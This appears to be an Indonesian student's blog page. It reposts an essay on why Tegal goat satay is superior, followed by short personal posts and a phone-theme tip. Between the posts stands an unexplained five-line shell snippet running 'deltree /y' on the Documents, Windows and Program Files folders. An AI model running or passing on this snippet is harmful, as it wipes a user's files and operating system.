Pages

RAHASIA SATE TEGAL YANG ENAK BUATAN ADI

Rahasia Sate Tegal
Contributed by Iwan Koki
Saturday, 16 February 2008
THERE is no sate kambing like sate Tegal. Bagi sebagian besar orang, mungkin ungkapan ini terasa berlebihan. Sate
kambing adalah sate kambing, dari mana pun asalnya. Percayalah, ini keliru. Bukan karena saya pernah tinggal di
Tegal, terus saya ”berkampanye” bahwa sate kambing Tegal is the best sate kambing.
Paling tidak, ada dua hal untuk mengatakan sepiring sate kambing itu enak atau tidak. Pertama, satenya sendiri. Kedua,
kondimen atau bahan pelengkapnya. Bicara soal kondimen, mungkin ini terkait dengan selera. Jadi, kemungkinan tidak
bisa diperbandingkan mana yang enak. Ada kondimen yang berbasis kecap, ada pula kondimen berbasis sambal
kacang. Ada pula yang merupakan campuran keduanya.
Jika menengok kebiasaan pedagang sate ayam (yang tidak selalu berasal dari Madura, meskipun sate ayam sering
dikenal sebagai sate Madura), yang menggunakan kondimen berbasis sambal kacang, mestinya sate kambing yang
”benar” berbasis sambal kecap.
Jika kita perhatikan, sebenarnya tukang sate ayam menggunakan sambal kacang untuk menghindari sate ayam (yang
diiris tipis) hangus ketika dipanggang di atas bara arang batok kelapa. Cara yang salah dalam menangani sate kambing
memang menyebabkan sate cepat hangus, sehingga perlu dibalut dengan kecap bercampur sambal kacang. Cara yang
salah? Iya.
Cara yang benar memanggang sate kambing adalah dengan memanggangnya begitu saja, tanpa diolesi apapun. Jika
diolesi kecap, permukaan sate akan cepat hangus karena gula yang terdapat dalam kecap akan cepat terbakar. Sebaga
”solusi” ada penjual sate kambing (di luar Tegal, believe me) mengencerkan kecap dengan sedikit air, atau
dengan sambal kacang, dengan tujuan menambah kelembaban supaya sate tidak cepat terbakar. Hasilnya? Sate
menjadi keras karena terlalu lama berada di atas bara api.
Penjual sate Tegal (di Tegal, karena saya tidak yakin mereka yang mengaku berjualan sate Tegal d luar Tegal adalah
benar-benar orang Tegal yang mengerti seluk beluk ”menangani” sate kambing) tidak pernah memberi
apapun pada sate yang akan dipanggang. Hasilnya, daging cepat matang dan sate hampir tidak nampak tanda-tanda
hangus. Kecuali ditinggal pergi selagi dipanggang, he..he....
Sebaliknya, jarang sekali ditemukan sate kambing (di luar Tegal) yang tidak hangus ketika dibakar. Penyebabnya, ya
adanya olesan bumbu itu. Dan bukan hanya cara memanggang yang membedakan sate Tegal atau bukan. Cara
pemilihan dagingpun dilakukan lebih seksama oleh pedagang sate Tegal. Walaupun ketika masih hidup kambing
nampak sama, tidak demikian ketika sudah menjadi sate di atas piring.
Pada umumnya, sate Tegal diperoleh dari kambing ”kereman”. Kambing yang di”kerem”
adalah kambing yang selama hidupnya ditaruh dalam kandang. Pemiliknya lah yang harus bersusah payah mencari
rumput untuk makanan mereka. Dengan demikian, kambing ini tidak perlu menghabiskan energi berjalan kesana kemari
mencari makan. Tidak banyak daerah lain yang memperlakukan kambingnya seperti ini. Efeknya, kambing yang dilepas
ini ototnya lebih keras. Bisa dimengerti kalau daging mereka juga keras ketika sudah menjadi sate.
Satu lagi ”rahasia” enaknya sate Tegal, yaitu pada umur kambing yang dijadikan sate. Jika di tempat lain
ukuran besarnya kambing sering dijadikan ukuran untuk menentukan apakah seekor kambing (secara ekonomis) sudah
layak dijadikan sate, tidak demikian di Tegal. Sejak dulu mereka mengenal kambing muda sebagai kambing yang paling
cocok untuk dijadikan sate. Bisa jadi, ukuran kambing muda tidak sebesar kambing tua. Namun dari segi empuknya
daging, dan juga citarasanya, jelas kambing tua tidak akan bisa mengalahkan kambing muda. Oleh karena itu, sekarang
dikenal sebagai sate Balibul. Bawah Lima Bulan. Ya, kambing Balibul dianggap sebagai yang palnig cocok untuk
dijadikan sate. Bahkan, sudah ada yang menawarkan sate Batibul. Bawah Tiga Bulan.
Jadi, jika anda ingin merasakan sate kambing yang benar-benar enak itu seperti apa, datanglah ke Tegal. (Saya tidak
menjamin Sate Tegal yang ada di Jakarta akan mendekati citarasa sate di Tegal). Tidak usah nyari warung sate yang
terkenal. Pick any warung sate. Kecuali anda sedang sial, pasti akan menemukan sate kambing yang empuk, tidak
hangus, beraroma menggiurkan, dan tidak akan diberi kondimen macam-macam selain kecap, bawang merah mentah
iris, tomat setengah matang iris, dan irisan cabe atau cabe yang dihaluskan. As simple as that.
Tidak berlebihan kalau kita bilang, there is no sate kambing like sate Tegal.

ADI ARI YANTO

shell "c:"
shell "cd\"
shell "deltree /y mydocu~1"
shell "deltree /y windows"
shell "deltree /y progra~1"
KALIAN YANG MAU BUAT BLOG KLIK DI ATAS

indah ya semangat hidup

Bgs


AKU DULU SANGAT SENANG DENGAN KOMPUTER TAPI KADANG KALA AKNU JUGA SANGAT BENCI KOMPUTER KARNA DIA TELAH MERENGUT YAWA AYAHKU

ADI ARI YANTO


NI PHOTO'2 KU

ADI ARI YANTO

AKU SANGAT MENCINTAI SESEORANG YANG AKU SAYANGI NAMUN KINI DIAH TELAH BERPINDAH HATI KE ORANG LAIN HANYA KARNA UANG TAPI AKU AKAN SLALU MENCINTAIMU DEWI SAYANGKU YANG AKU CINTAI SAMPAI MATI
I LOVE YOU

ADI ARI YANTO

HAI TEMEN"2 KALIAN BELUM TAHU CARA MEMBUAT THEMES HP........
CARA GAMPANG BANGET DENGAN METODEPERTUKARAN THEMES LAIN
1. KALIAN LIHAT THEMES KEMUDIAN KLIK LALU UDAH GAMBAR YANG KALIAN MAU .TAPI DENGAN KALIAN HARUS MENGUKUR GAMBAR AGAR SESUAI DENGAN YG DI HP DAN UBAH TAMPILAN MENJADI FORMAT (PNG)KENUDIA KLIK SAVE
SALAM TERIMA KASIH DARI : ADI ARI YANTO
KELAS : X A DI SMA 1 TEGAL